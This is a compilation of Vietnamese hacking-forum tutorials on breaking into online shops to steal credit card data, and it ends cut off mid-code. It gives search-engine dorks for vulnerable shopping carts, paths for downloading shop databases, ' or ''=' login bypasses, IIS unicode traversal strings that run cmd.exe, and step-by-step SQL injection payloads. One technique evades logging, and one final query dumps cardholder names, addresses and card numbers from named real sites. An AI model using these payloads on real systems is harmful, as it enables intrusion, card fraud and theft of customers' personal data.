thu". date : 29/05/2005 TG kidbandes newbie of Thecorrs Family
Mức độ nguy hiểm : khá cao tỷ lệ thành công :80% Tool :+ site http://google.com.
vn/ + PC của bạn cài Access ( dùng để xem file .mdb) Hiện các Shop DUpaypal rất
nhiều và hàu như chưa fix được mấy bằng chứng là tấn công 10 site thì 8 site dín
h :D) Tiến hành: Lên http://google.com.vn/ Search với từ khóa "Powered by DUpayp
al -siteduware.com" bạn sẻ thấy rất nhiều site dính Bug này, Chọn victim để test
nào ở đây kieptinhchung chọn cái này: http://www.xcel-leadership.com/sermon/det
a...ro=147&iType=18 bi giờ thêm vào sau Nó : ../_private/DUpaypal.mdb để Dowload
file chứa thông tin về U/P của Admin về , tức là ta sẻ dùng link sau để dowload
nó: http://www.xcel-leadership.com/sermon/_private/DUpaypal.mdb sau khi dowload
về bạn sẻ xem Nó dưới dạng Accees, tìm phần User và lấy user+pass đăng nhập thậ
t dễ dàng , như vậy là bạn đã làm chủ Shop đó roài đó.
TUTORIAL FORM jonnyhackstuff
TUTORIAL BY HCEGROUP
I-Lỗi Tek9.asp : Cách thức tìm : Dùng Google Câu tìm kiếm : tek9.asp Kết quả : B
ạn tìm các trang web hiện lên , ví dụ làhttp://198.170.250.68/ tek9_login.asp Bạ
n sẽ thêm intranet trước tek9.asp http://198.170.250.68/intranet/tek9_login.asp
Được gì ? Bạn vào trang đăng nhập của người quản trị. Tên và mật khẩu : Đều là '
or''=' Sau đó ? Bạn tự tìm hiểu vì mỗi trang có 1 sự trình bày hơi khác nhau. Tr
ang trên cho phép bạn quản lý thông số , kiểu , cách thức và vài chỗ có liên qua
n đến cơ sở dữ liệu chứa thẻ tín dụng. Ngòai ra bạn có thể tìm lệnh Find orders
để truy tìm khu vực chức thẻ. ============================ II-Lỗi Cart32 v3.5a C
ách thức tìm : Dùng Google Câu tìm kiếm : Cart32 v3.5a Kết quả : Chạy các trang
web có tập tin cart32.exe . Bạn sẽ nhận được 1 số thông tin Được gì ? Chưa được
gì hết Tên và mật khẩu : Không cần Sau đó ? Giả sử bạn kiếm được trang web sau c
ó lỗi http://www.connectionsmall.com/scripts/cart32.exe/ Bạn thay từ card32.exe
bằng những dòng sau đây : I) ..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/sys
tem32/cmd.exe?/c+dir+c:\ II) ..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/c
md.exe?/c+dir+c:\ III) ..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ Ví dụ : http
://www.connectionsmall.com/scripts/..À‾..À‾..À‾..À‾../winnt/system32/cmd.exe?/c+
dir+c:\
-Nếu không chuyện gì xảy ra thì bạn thêm dòng địa chỉ sau vào cuối cùng để lấy t
hẻ tín dụng : \progra~1\MWAInc\Cart32\ -Bạn sẽ thấy những dòng giống như sau : 2
814659000-001001.c32 2814659000-001002.c32 2814659000-001003.c32 -Bây giờ tất nh
ững gì cần phải làm là bạn thêm 1 trong ba hoặc thử thì dùng từng cái vào cuối đ
ịa chỉ trên. Sau cùng ta sẽ có giống như thế này : http://www.connectionsmall.co
m/scripts/..À‾..À‾..À‾..À‾../winnt/system32/cmd.exe?/c+dir+c:\progra~1\MWAInc \C
art32\2814659000-001001.c32
============================
III-Lỗi Commerce.cgi Cách thức tìm : Dùng Google Câu tìm kiếm : Commerce.cgi Kết
quả : Chạy các trang web có tập tin Commerce.cgi. Giả sử bạn kiếm được trang we
b sau có lỗi http://www.warresisters.org/store/commerce.cgi Bạn thay từ commerce
.cgi bằng admin_files/commerce_user_lib.pl Ví dụ : http://www.warresisters.org/s
tore/admin_files/commerce_user_lib.pl Bạn sẽ nhận được 1 số thông tin : $sc_sale
s_tax = ".0825"; $sc_sales_tax_state = "NY"; $sc_send_order_to_email = "yes"; $s
c_order_log_name = "onlinebookstore.log"; $sc_send_order_to_log = "yes";
$shipping_percentage = ".15"; $sc_order_email = "wrl\@igc.org"; $sc_root_url = "
http://www.warresisters.org/store"; $sc_admin_email = "lit\@warresisters.org"; $
sc_domain_name_for_cookie = ".warresisters.org"; $sc_order_script_url = "https:/
/secure.serve.com/resist/store/commerce.cgi"; $sc_root_web_path = "/home/serve/r
esist/Html/Products"; $sc_path_for_cookie = "/store"; $path_to_html = "../Html";
1; Được gì ? 1 số thông tin quan trọng về cơ sở dữ liệu Tên và mật khẩu : Không
cần Sau đó Xóa cái commerce_user_lib.pl đi thay bằng dòng chữ tìm ở $sc_order_l
og_name và .... ============================ III-Lỗi shopdisplaycategories Cách
thức tìm : Dùng Google Câu tìm kiếm : shopdisplaycategories Kết quả : Trong link
các trang bị lỗi , bạn thay shopdisplaycategories.asp thành shopdbtest.asp Được
gì ? Bạn biết được đường dẫn để tải cơ sở dữ liệu Thẻ Tín Dụng Tên và mật khẩu
: Không cần Sau đó : Thay shopdbtest.asp bằng phần trả lời của xdatabase ( bạn t
ìm ở phía trên ) ============================
IV-Lỗi SQL Injection Cách thức tìm : Dùng Google Câu tìm kiếm : admentor Kết quả
: Bạn vào trang bị lỗi , đăng nhập với Username và Password là 'or''=' Được gì
? Bây giờ bạn nắm mọi họat động quản lý của website trong vai Admin Tên và mật k
hẩu : 'or''=' Sau đó : Bạn tự tìm hiểu ============================ IV-Lỗi datas
ources Cách thức tìm : Dùng Google Câu tìm kiếm : datasources/ hay config/dataso
urces/ Kết quả :Đường dẫn những trang bị lỗi này Được gì ? Từ đây bạn thêm vào e
xpire.mdb vào sau datasources/ hay config/datasources/ Tên và mật khẩu : Không c
ần Sau đó : Bãn tải được kho dữ liệu có credit card
TUTORIAL BY CVHINT
-Lâu rồi không ghé qua diễn đàn chơi sợ anh em nhớNên tui xin góp một bài viết g
ọi là đóng góp cho diễn đàn tí xíu với lại về việc hack tôi sẽ không tham gia mộ
t thời gian dài nên việc share hết kinh nghiệm háck shop cho anh em chỉ còn là v
ấn đề thời gian vì vậy ai khoái cái dụ cc thì nên chú ý bài viết này của tôi nhé
. Bây giờ chúng ta sẽ đi vào vấn đề chính của bài viết này.Tôi biết hack shop th
ì ai cũng biết nhưng hack thế nào để có cc thì rất nhiều người không biết hoặc n
ếu có thì chưa kịp ăn đã die vì lí do cách hack đó ai cũng biết ( Nếu tôi đoán k
hông lầm thì bài viết của Hiếupc ai cũng đọc qua rồi nhỉ ).Thế nên tôi sẽ chỉ ch
o các bạn một cách hack dạng sql mới chưa phổ biến lắm và ít người hack được. Nh
ưng xin mọi người cho tui nói vài lời.Tôi đã từng lướt qua các site của viethack
er và vào trong box thảo luận về sql xem thế nào thì có nhiều người cho ý kiến t
hế này "SQL là một lỗi đã bị lỗi thời".Trùi nghe mà buồi rười rượi. Nói cho các
bạn nghe SQL không hề lỗi thời chủ yếu là có biến cái lỗi thời thành lỗi phổ biế
n của riêng mình hay không lại là chuyện khác. Thôi nói nhiều mệt quá nên viết b
ài đây : Vào google search từ khoá nào mà các bạn biết nhé.Tôi xin đóng góp một
vài từ khoá bạn nào biết cái nào thì share cho mọi người nhé.: shopcategories.as
p?id= /shop/ shopping product.asp?ProductID allinurl:"shopdisplayproducts.asp?id
= allinurl:"shopdisplayproducts.asp?id=1 allinurl:"shopdisplayproducts.asp?id=2
allinurl:".com/shopdisplayproducts.asp?id= allinurl:".net/shopdisplayproducts.as
p?id= .asp?=catalogid= .asp?cid= alliurl: shop$.asp?$= shopexd.asp? shopreviewli
st.asp?id=1 shopreviewadd.asp?id= rồi search đại một shop giả sử như thế này : w
ww.cvhint.com/shopdisplayproducts.áp?id=1 Rồi khi thêm dấu ' vào nó không ra lỗi
thì làm thế nào.Trùi không lẽ nó không có lỗi. Thử là biết ngay thôi.Ta thay cá
i link khác thử xem sao.Trong vd này tôi thay cái shopdisplayproducts.asp?id=1 =
shoptellafriend.asp.asp?id=1 và thêm dấu ' lại xem sao.OOOOOOh lỗi kìa.Good. Mi
crosoft JET Database Engine error '80040e14' Syntax error in string in query exp
ression 'catalogid = 12''. /vshop/shoptellafriend.asp, line 183 Chài vì sao tôi
gọi cái này là nâng cao các bạn nên để ý cái line của nó đó.Thường các bạn hack
theo bài viết của Hieupc thì chỉ hack được cái line có chỉ số cao thôi còn các l
ine dưới 200 thường thì bó chiếu phải không nào.( Lúc trước tôi gặp hoài à nên h
iểu mà) Tiếp tục dùng truy vấn mà hieupc chỉ cho các bạn đó rà số từ từ sẽ ra mộ
t chữ số đặc biệt ở đây thường là số 3 và đây là kinh nghiệm chiến trường tui sh
are cho anh em đây.:
line191 >>> 56 line184 >>> 47,43,53 line188 >>> 53,56, 60 line191 >>> 48 line185
>>> 86,43 line202 >>> 84,91 line208 >>> 48,57 line64 >>> 53 line211,187 >>> 43
line59 >>> 70 line58 >>> 43 --------------- Đây là các line thường gặp đó.Mai mố
t chỉ cần gặp các line này thì các bạn chỉ cần rà số đến những số ở trên là ra c
hữ số 3 để khai thác à. Tiếp tục khi ra cái bảng có chứa chữ số 3 rồi chúng ta c
ần lấy user và pass thì nhập cái này vào : fldusername%2b'/'%2bfldpassword khi c
ác bạn nhập truy vấn vào thì sẽ ra cái pass và user ở ngay số 3 mà thôi. Còn lin
k admin thường là shopadmin.asp nhưng cái cách này của tôi nếu lấy link là shopa
dmin.asp thì hầu như không được.Tôi sẽ chỉ mọi người ở phần tiếp theo còn bây gi
ờ đói rồi đi ăn cái đã.Mong anh em hiểu bài viết này của tôi và thực hành thành
công.Tôi viết không có cái gì gọi là dấu nghề như các bạn khác chỉ cần anh em đọ
c và hiểu thì sẽ có shop ngon mà ăn dài dài thôi.Đây là một dạng nâng cao hơi ng
uy hiểm nên tui không thể đưa ra vd cho các bạn được nếu ai có search thấy một s
ite nào đó thì hãy post lên cho mọi người cùng hack.Bye Bản quyền : cvhint và mộ
t người bạn.
TUTORIAL FROM VIETHACKER
Các bạn đã nghe rất nhiều từ sql-injection rất nhiều bạn thành thạo nhưng vẫn cò
n nhiều bạn mới làm wen với lập trình web còn chưa biết tôi xin mạn phép post lạ
i dựa trên các bài về sql-ịnect từ nhóm Vicki , Viethacker.net ...hay m vài ột n
ơi khác . + SQL Injection là gì? SQL Injection là một trong những kiểu hack web
đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command và
o input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login (với quyền Adm
in) mà không cần username và password, remote execution, dump data và lấy root c
ủa SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn
như Internet Explorer, Netscape,.. + Vâng hiểu về SQL-Ịnect đơn giản là chỉ có
vậy tôi sẽ phân tích tiếp việc khai thác lỗi đó như thế nào , và mỗi người đều c
ó những cách xử lý riêng VD : http://www.xxx.com/item.asp?item_id=1 - kiểm tra x
em có lỗi không : thêm dấu ' vào : http://www.xxx.com/item.asp?item_id=1' Nếu th
ấy hiển thị lỗi :có dạng vd như thế này : CODE Microsoft OLE DB Provider for ODB
C Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclos
ed quotation mark before the character string ''. C:\INETPUB\WWWROOT\xxx\INCLUDE
\../lib/dblib.asp, line 95 Thì trang web này bị SQL-Inject chúng ta có thể hoàn
toàn khai thác được thông qua việc "Hỏi Đáp" --> Nhiều bạn khi test thấy lỗi như
vậy liền dùng câu lệnh lấy hết các bảng , cột trong data: http://www.xxx.com/it
em.asp?item_id=1%2bco...hema.tables))-Sẽ thu được kết quả là bảng đầu tiên: CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQ
L Server Driver][SQL Server]Syntax error converting the nvarchar value 'T005_CC_
PACKAGES' to a column of data type int. C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/db
lib.asp, line 95 'T005_CC_PACKAGES' chính là 1 bảng trong data . Nếu muốn lấy tê
n bảng tiếp theo ta chỉ việc http://www.xxx.com/item.asp?item_id=1%2bco...n_sche
ma.tables where table_name not in ('T005_CC_PACKAGES' )))-tiếp tục cho đến khi n
ào hiện thông báo : Invalid item thì là hết table đó Muốn lấy tên cột trong bảng
thì làm như sau :
http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.colums where table_name='t
ên bảng'))-lấy tiếp thì lại dùng not in: http://www.xxx.com/item.asp?item_id=1%2
bco...n_schema.colums where table_name="tên bảng" not in ('Tên cột đã biết','tên
cột đã biết')))-Lấy giá trị trong cột : http://www.xxx.com/item.asp?item_id=1%2
bco...201%20'tên cột'%20from 'tên bảng chứa cột'))-Mục đích của nhiều bạn là lấy
hết toàn bộ thông tin về table , colum của data từ đó để khai thác tài khoản đă
ng nhập admin của site đó . Nhưng những cách từng bước trên rất mệt khi đường Li
nk dài quá IE lỗi luôn đó phải dùng trình duyệt khác(Mozila hay Netscape..) . +
Có cách khác nhanh hơn : Đăng nhập bằng user: 'or''=' pass: 'or''=' vd nếu bạn m
ay mắn thì sẽ tìm được chỗ login vào phần quản lý web.
Tổng hợp cách hack cc căn bản nhất
Thường các hacker hack cc từ những lỗi nghiêm trọng của các site bán hàng trên t
oàn thế giới (còn vô số những site chưa fix )...các lỗi thường gặp là : acart2_0
SalesCart Database Storage Insecurity Trong file shopper.cgi Cart32 Sites VP-AS
P ProductCar ............ Dưới đây là bài viết chi tiết cách hack các lỗi đó, tấ
t nhiên cũng ko phải tui tìm ra được các lỗi này...vì các lỗi này đựoc tìm ra rấ
t lâu rùi...được sang qua sang lại....đến nỗi tác giả của nó là ai cũng ko còn n
hớ nỗi nữa... ---------------------------------------------------------------
-----------------------------Lỗi acart2_0" : Đầu tiên các bạn vàohttp://google.c
om/ ( các bạn có thể vào các site tìm kiếm khác nhưhttp://av.com/ .... ) search
keyword "acart2_0" ,bạn thấy rất nhiều file mắc lỗi này,do kinh nghiệm mình khuy
ên các bạn nên chọn những site có dạnghttp://url/acart2_0/ ví dụ sitehttp://www.
coolrob.com/cart/acart2_0 ,gõ thêm" /acart2_0.mdb "vào đằng sau url, enter xong
bạn thấy màn hình dơnload là thành công rùi đó...bạn có thể down toàn bộ file da
tabase *.mdb của shop bán hàng đó... -------------------------------------------
-------------------------------------------------Lỗi VP-ASP: đầu tiên vàohttp://
google.com/ search từ khoá "shopdisplaycategories" click vào site bạn sẽ thấy là
http://www. sitename.com/shopping/shopdisplaycategories.asp Việc tiếp theo là ch
uyển urlhttp://www.sitename.com/shopping/shopdisplaycategories.asp thành urlhttp
://www. sitename.com/shopping/shopdbtest.asp nghĩa là thay shopdisplaycategories
.asp bằng shopdbtest.asp rồi enter...nếu ra tiếp thêm một trang nữa...<---ko phả
t là no page .thì bạn có cơ hội down *mdb của site này đó... sau khi ra trang mớ
i xong,áp dụng công thức http:// [vp-asp site] / [ vp-asp dir] / [ xDatabase + .
mdb ] -[vp-asp site] là :http://www.sitename.com/ -[ vp-asp dir] là :shopping -[
xDatabase + .mdb ] sẽ là shopping.mdb nếu có màn hình save thì bạn thành công r
ùi đó... -----------------------------------------------------------------------
-----------------------Lỗi shopper.cgi: vàohttp://google.com/ search từ khoá sho
pper.cgi hoặc shopper.execopy những url có dạng sitename.com/cgi-bin/ shopper.cg
i? sau đó paste vào browse và thêm dòng search=action&keywords=ccpower &template
=shopper.conf hoặc hoặc thêm dòng search=action&keywords=ccpower &template=order
1.log vào đằng sau,nếu may mắn bạn sẽ tìm thấy cc-------------------------------
---- Lỗi ProductCart: Search với từ khóa allinurl: /productcart/ http://www.acki
ts.com/ProductCart/pc/msg.asp? Xóa tất cả từ sau ProductCart đi gữ lại đoạn nàyh
ttp://www.ackits.com/ProductCart/ sau đó thêm vào sau database/ EIPC.mdb sẽ thàn
hhttp://www.ackits.com/ProductCart/database/EIPC.mdb đến lúc này ta sẽ download
được file .mdb về sau khi download về rùi thì chắc mọi người biết phải làm gì rồ
i chứ ................................................ Lỗi Cart32.exe: vào googl
e.com ,search từ khóa "Cart32.exe v3"đầu tiên vàohttp://www.sitename.com/cgi-bin
/cart32.exe/sitename Lấy Credit Cards :http://www.sitename.com/cgi-bin/cart32/si
tename-ORDERS.txt hoặc :http://www.sitename.com/cgi-bin/cart32/sitename-OUTPUT.t
xt
Hack CC thông qua lỗi SalesCart Database Storage Insecurity: Tổng quát: Lỗi này
thực chất là dữ liệu của các chương trình mua bán không được bảo mật, mã hóa hay
cất giữ cẩn thận nên bạn hoàn toàn có thể lấy chúng một cách dễ dàng Lưu ý: đôi
khi với thực tế, 1 số link có thể khác đi, không phải lúc nào cũng hoàn toàn đú
ng, dữ liệu có khi bao gồm cả CRD (Credit Card) nên mọi việc phải qua proxy (nếu
không có proxy thì có thể ra dịch vụ...) Khai thác: Hãy sử dụng 1 trong những l
ink sau: www.victim.com/fpdb/shop.mdb www.victim.com/shoponline/fpdb/shop.mdb ww
w.victim.com/database/metacart.mdb www.victim.com/shopping/database/metacart.mdb
www.victim.com/shop/database/metacart.mdb www.victim.com/metacart/database/meta
cart.mdb www.victim.com/mcartfree/database/metacart.mdb www.victim.com/ASP/cart/
database/metacart.mdb Ví dụ: site84vn.com có thể download cc từ đây:www.84vn.com
/database/metacart.mdb Có nghĩa là database không hề có 1 chút bảo mật nào cả. D
ownload vô tư Trong database có thể bao gồm: name, surname, address, e-mail, p
hone number, credit card number, company name..... Bạn có thể khai thác dữ liệu
này, nhưng trong thực tế, mọi việc không phải lúc nào cũng suôn sẻ cả, bạn hãy t
ưởng tượng mỗi server có một cấu trúc riêng, ví dụ như đường dẫn không phải lúc
nào cũng là fpdb/... hay như những link trên, hãy tận dụng lỗi và thử từng cái m
ột , nhiều khi làwww.victim.com/muaban/fpdb/shop.mdb vì vậy nếu bạn xài cách này
hãy linh hoạt trong link tuỳ vào từng site <----copy by h4a...... lên google t
ìm từ khóa "inurl:commerce.cgi" Rồi okie số địa chỉ online đang chờ đón vd: ta c
ó site <http://www.warresisters.org/store/commerce.cgi>? xóa cái commerce.cgi? đ
i thay bằng Admin_files/commerce_user_lib.pl ta sẽ được ## This file contains th
e user specific variables ## necessary for Commerce.cgi $sc_sales_tax = ".0825";
$sc_sales_tax_state = "NY"; $sc_send_order_to_email = "yes"; $sc_order_log_name
= "onlinebookstore.log"; $sc_send_order_to_log = "yes"; $shipping_percentage =
".15"; $sc_order_email = "wrl\@igc.org"; $sc_root_url = "http://www.warresisters
.org/store"; $sc_admin_email = "lit\@warresisters.org"; $sc_domain_name_for_cook
ie = ".warresisters.org"; $sc_order_script_url = "https://secure.serve.com/resis
t/store/commerce.cgi"; $sc_root_web_path = "/home/serve/resist/Html/Products"; $
sc_path_for_cookie = "/store"; $path_to_html = "../Html"; 1;
xóa cái commerce_user_lib.pl đi thay bằng onlinebookstore.log (tìm ở $sc_order_l
og_name ) và .... Việc tiếp theo là thuộc về bạn -------------------------------
----------------------------------------------------------------Vào google gõ từ
khoá tek9.aspta được link có dạng tương tự như thế này https://ionicpurifier.co
m/tek9.asp?pg=orders&mode=search bắy đầu từ /tek9.asp/ gõ thêm /intranethttps://
ionicpurifier.com/intranet/tek9.asp...ers&mode=search Sau đó đăng nhập với user
và pass 'or''='nếu may mắn thì sẽ vào được , và ăn cc tha hồ còn rất nhiều site
bị lỗi này ---------------------------------------------------------------------
--------------------------Search keyword in google.com.vn : " Shoping /admin " h
ttp://shopping.richardhealey.com/admin_login.asp http://families-online.org/admi
n_login.asp user/pass : ' or 1=1-Code của site cho phép exploit lên SQL Server .
-------------------------------------------------------------------------------
-----------------
Hack shop qua lỗi SQL server injection
gioi thieu so qua cho anh em biet ve hack sql server inject ha hack bang ky th
uat convert noi nom na la convert 1 bieu thuc dang string sang dang int nhung ko
the thuc hien duoc gay thong bao loi (co nhung shop ma ta khong nhan duoc thong
bao cua no,vi value=hidden),vi the truoc tien de hack duoc shop ODBC MySQL serv
er2000 hay 7.0 thi it nhat anh em cung phai xem qua source 1 chut ha,de roi con
biet co nen hack theo cach nao`. o day chi gioi thieu cach convert dung` de lay
thong bao loi thoi,neu may bac' can hack ca server thi noi nhieu,noi dai dong la
m... Detail: search tren cac trang search engine tuy anh em thich thoi,hien co r
at nhieu trang search engine ma anh em thuong dung nhu http://www.google.com/ ho
achttp://www.froogle.google.com/ http://www.av.com/ http://www.alltheweb.com/ ya
hoo.com ...... ok----search for: allinurl: "/shop/viewproduct.asp" hoac may bac
co the search = tu key word allinurl: "/shop/index.asp" (nhung cai tu khoa nay v
an chua xac nhan duoc tinh dung dan cua no,vi no cho ra tat rat nhieu site,ma ko
phai ODBC MySQL database,hic,ma thuong la` JSP(java server page) hoac JET, hoac
VB.net....net va de nay can phai co su no luc cua anh em trong viec test. ok co
' duoc muc tieu roi chon dai 1 thang,vd:
http://www.mcmessentials.com.au/shop/viewp...20&categoryid=5
http://www.mcmessentials.com.au/shop/viewp...20&categoryid=5
okay co muc tieu roi bat dau test no ha http://www.mcmessentials.com.au/shop/vie
wp...tegoryid=5' neu CSDL cua no duoc viet = ODBC MySQL server thi anh em se nha
n duoc thong bao sau Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before t
he character string ''. /shop/include/viewproduct.asp, line 3 okay,con neu ko th
i ko thay gi het,hoac la` ban phai xem trong source de biet. ok bat dau tim tabl
e co the test theo cac cach sau ma em da biet ;having 1=1--sp_password 'having 1
=1--sp_password "having 1=1--sp_password (having 1=1--sp_password )having 1=1--s
p_password (space)having 1=1--_sp_password (%20 la space la khoang trang day) th
uong thi test = cau truy van (space)having 1=1--sp_password la duoc duyet qua ok
*luu y' cac anh em 1 dieu rat can thiet 1--%2b co nghia la dau + nhung ma truye
n truc tiep dau + vao se bi SQL filter mat bat buoc phai co --sp_password de mar
ks log tranh bi phat hien http://www.mcmessentials.com.au/shop/viewp...=1--sp_pa
ssword Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][O
DBC SQL Server Driver][SQL Server]Column 'categories.label' is invalid in the se
lect list because it is not contained in an aggregate function and there is no G
ROUP BY clause. /shop/include/viewproduct.asp, line 9 ta biet duoc table categor
ies,column la label,bay gio ta di lay tat ca cac table cua column label thuoc ta
ble categories bay gio di lay user_name cua shop thong qua cau truy van sau %2bc
onvert(int,user_name())--sp_password day du la` http://www.mcmessentials.com.au/
shop/viewp...))--sp_password Microsoft OLE DB Provider for ODBC Drivers error '8
0040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'braunshop' to a column of data type int. /shop/include/viewp
roduct.asp, line 3
'braunshop' la truong user_name cua shop *luu y 2--truong user_name() la de xac
dinh user hien tai,neu no la dbo thi ta co kha nang hack thang vao ca server ma
ko can quyen admin,con neu ko thi ta co nhung buoc trung gian de chiem,ok ta dun
g lai o viec lay cc tu shop ma thoi,ko noi den chuyen chiem ca server,much dich
de anh em hoc hoi,va trao doi kinh nghiem la chinh,ko loi keo anh em pha hoai ng
hiem trong den bat cu ai khac nen toi chi post va dung lai o phan lay cc ma thoi
,con neu ai co thu oan gi voi thang nao,muon deface,lay pass,lay root,lay server
,host thi lien he voi toi ok bay gio ta se lan luot lay cac table tren column la
bel lay table thu 1 thong qua cau truy van sau %2bconvert(int,(select%20top%201%
20table_name%20fr om%20information_schema.tables))--sp_password day du la` http:
//www.mcmessentials.com.au/shop/viewp...))--sp_password Microsoft OLE DB Provide
r for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Serv
er]Syntax error converting the nvarchar value 'categorieslist' to a column of da
ta type int. /shop/include/viewproduct.asp, line 3 ok table 1 la 'categorieslist
',muon lay table thu 2 thi phai dung den where table_name not in('table1') cau t
ruy van nhu sau: %2bconvert(int,(select%20top%201%20table_name%20fr om%20informa
tion_schema.tables%20where% 20table_name%20not% 20in('categorieslist')))--sp_pas
sword http://www.mcmessentials.com.au/shop/viewp...))--sp_password Microsoft OLE
DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Drive
r][SQL Server]Syntax error converting the nvarchar value 'allorders' to a column
of data type int. /shop/include/viewproduct.asp, line 3 table 2 la` 'allorders'
muon lay table thu 3 va cac table co lai thi tiep tu lam tuong tu nhu lay table
thu 2 vay %2bconvert(int,(select%20top%201%20table_name%20fr om%20information_s
chema.tables%20where% 20table_name%20not% 20in('categorieslist','allorders')))--
sp_password day la tat ca cac table cua shop vua lay duoc 'categorieslist','allo
rders','categories','categor ymembers','deliveryZones','dtproperties','essorder
s','fullorder','keywords', 'optiongroupmembers','optiongroups','optiongroupsl is
t','optionmembers','options','optionslist','orde roptions','orderoptions-options
','orderproducts','orderproducts-products','orders','products','productscategori
es','products-options','searchresults','sysconstraints','syssegm ents'
ok sau khi lay duoc tat ca cac table roi thi ban bat dau lay colum cua table,co
2 kieu lay column,1 la lay tat ca cac column,ko co muc dich gi hoac de kiem tra
toan bo database,2 la` ta da xac dinh duoc can phai lay column trong table nao,s
au do moi lay,toi thi chi lay column trong table nao co cc thoi,'allorders' hoac
'orders' ok ta lay no thoi cau truy van lay column dau tien la` 1---lay column
tren tat ca cac table,ko can biet no thuoc table nao,lay den khi nao het thi tho
i,cau truy van co dang %2bconvert(int,(select top 1 column_name from information
_schema.columns))--sp_password duoc column1 roi thi dung where column_name not i
n('column1') ok ha 2--lay column tren table da xac dinh truoc cau truy van nhu s
au vi du toi lay column tren table orders %2bconvert(int,(select top 1 column_na
me from information_schema.columns where table_name ='orders'))-sp_password http
://www.mcmessentials.com.au/shop/viewp...))--sp_password Microsoft OLE DB Provid
er for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Ser
ver]Syntax error converting the nvarchar value 'orderid' to a column of data typ
e int. /shop/include/viewproduct.asp, line 3 column dau tien la` 'orderid' lay c
olumn thu 2 thi can them and column_name not in('orderid') %2bconvert(int,(selec
t top 1 column_name from information_schema.columns where table_name ='orders' a
nd column_name not in('orderid')))--sp_password http://www.mcmessentials.com.au/
shop/viewp...))--sp_password Microsoft OLE DB Provider for ODBC Drivers error '8
0040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'created' to a column of data type int. /shop/include/viewpro
duct.asp, line 3 va lan luot lay cho het cac column cua table 'orders' khi anh e
m da lay duoc tat ca cac column cua table 'orders'roi thi chi con viec sau cung
hap dan nhat ma thoi,do la lay cc,anh em hay viet thanh 1 cau truy van de lay cc
dua vao tat ca cac column cua anh em nhan duoc,moi shop no co cac field databas
e khac nhau,nhung hau het cac shop duoc search duoi dang allinurl: "/shop?viewpr
oduct.asp" thi chi co 1 kieu truy van duy nhat,vi em da thu qua tat ca roi hhihi
hi cai nao cung ok ca may anh em khoi mat cong xap xep lai de viet thang cau tru
y van chi cho met,toi dua luon cho anh em xai choi lay cc dau tien
%2bconvert(int,(select%20top%201%20cardtype%2b'%20 Name:'%2bcardname%2b'%20addr:
%20'%2baddress% 2b'%20 suburb:%20'% 2bsuburb%2b'%20state:%20'%2bstate%2b'%20zip:
%20'%2 bpostcode%2b'%20country:%20'%2bcountry%2b'% 20phone :%20'%2bphone% 2b'%20
email:%20'%2bemail%2b'%20cardnumber:%20'%2bc ardnumber%2b'%20expireymonth:%20'%
2bexpirymonth%2b '%20year:%20'% 2bexpiryyear%20from%20orders))--sp_password lay'
cc thu 2 thi ta them vao o sao ....from orders where cardnumber not in('so card
dau tien') va lan luot lay het cac credit card co tren do' nhu cai shop o tren
thi de dung cho may bac thuc tap va de co them kinh nghiem ma thoi,vi day chi de
hoc hoi,ko nham muc dich pha hoai bat cu ai . Hack Sql Inject nâng cao Các bạn
thử xem một câu truy vấn SQL: select id, forename, surname from authors thì 'id'
,'forename' và 'surname' là column của table author,khi câu truy vấn trên làm vi
ệc thì nó sẽ cho kết quả tất cã các dòng trong table author.Xem câu truy vấn sau
: select id, forename, surname from authors where forename = 'john' and surname
= 'smith' Đây là câu truy vấn có điều kiện chắc không nói các bạn cũng biết,nó c
ho ra kết quả tất cã những ai trong csdl với forename = 'john' and surname = 'sm
ith' Vì vậy khi vào giá trị đầu vào không đúng như trong csdl liệu: Forename: jo
'hn Surname: smith Câu truy vấn trở thành: select id, forename, surname from aut
hors where forename = 'jo'hn' and surname = 'smith' Câu truy vấn trên khi được x
ử lý thì nó sẽ phát sinh lổi: Server: Msg 170, Level 15, State 1, Line 1 Line 1:
Incorrect syntax near 'hn'. Lý do là ta lồng vào dấu nháy đơn "'" và giá tr vào
trở thành 'hn' sai so v csdl vậy sẽ phát sinh lổi lợi dụng cái này ị ới attacke
r có thể xoá dữ liệu của bạn như sau: Forename: jo'; drop table authors-Table au
thor sẽ bị xóa>nguy hiểm phải không Nhìn vào đoạn code asp sau:đây là một form l
ogin
<HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor='000000' text='ccc
ccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='p
rocess_login.asp' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=tex
t name=username size=100% Page 4 width=100></INPUT></TD></TR> <TR><TD>Password:<
/TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR
> </TABLE> <INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'> <
/FORM> </FONT> </BODY> </HTML> Đây là code 'process_login.asp' <HTML> <BODY bgco
lor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font
-size=20pt important} font { font-size=20pt important}
</STYLE> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("d
ebug") == "true" ) Response.write( str ); } function Login( cn ) { var username;
var password; username = Request.form("username"); password = Request.form("pas
sword"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * f
rom users where username = '" + username + "' and password = '" + password + "'"
; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.EOF) { rso.close(); %>
